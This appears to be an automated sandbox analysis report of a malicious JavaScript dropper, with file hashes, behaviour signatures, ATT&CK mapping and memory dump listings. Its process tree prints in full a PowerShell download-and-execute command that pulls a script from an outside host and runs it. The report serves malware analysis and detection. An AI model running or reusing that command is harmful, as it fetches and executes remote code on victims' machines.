a6ceacfc3c6db3c48ac1b9d78a5f8386442d12b248a36be4f54f342e968bcb6e

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 02:37

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General

Target

a6ceacfc3c6db3c48ac1b9d78a5f8386442d12b248a36be4f54f342e968bcb6e.js
Size

67KB
MD5

8b8941167d820a4eb5ef0d4be49c0ada
SHA1

bbaf1ece80596ffe425263ef8eb174c4be1df159
SHA256

a6ceacfc3c6db3c48ac1b9d78a5f8386442d12b248a36be4f54f342e968bcb6e
SHA512

119b7823731b676267e301f72c3ca75f546d0d38afb71a898954d97a0be95097033167858a094c1268c44231bb1f02235fcf49230a00bf73f5f6e7a6c4017a37
SSDEEP

1536:u+Bh9ollwqsqGbYHlaNKAkPwLZYSI0SIo0zDrLP5kX/fNabTT+r:lBDollwqsqwYHlbJwVYazDrLmfcT+r

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2556	powershell.exe
4	2556	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2556	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2556	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 2556	2848	wscript.exe	28
PID 2848 wrote to memory of 2556	2848	wscript.exe	28
PID 2848 wrote to memory of 2556	2848	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a6ceacfc3c6db3c48ac1b9d78a5f8386442d12b248a36be4f54f342e968bcb6e.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2556-4-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2556-5-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/2556-6-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2556-7-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2556-8-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2556-10-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2556-9-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2556-11-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2556-12-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2556-13-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2556-14-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download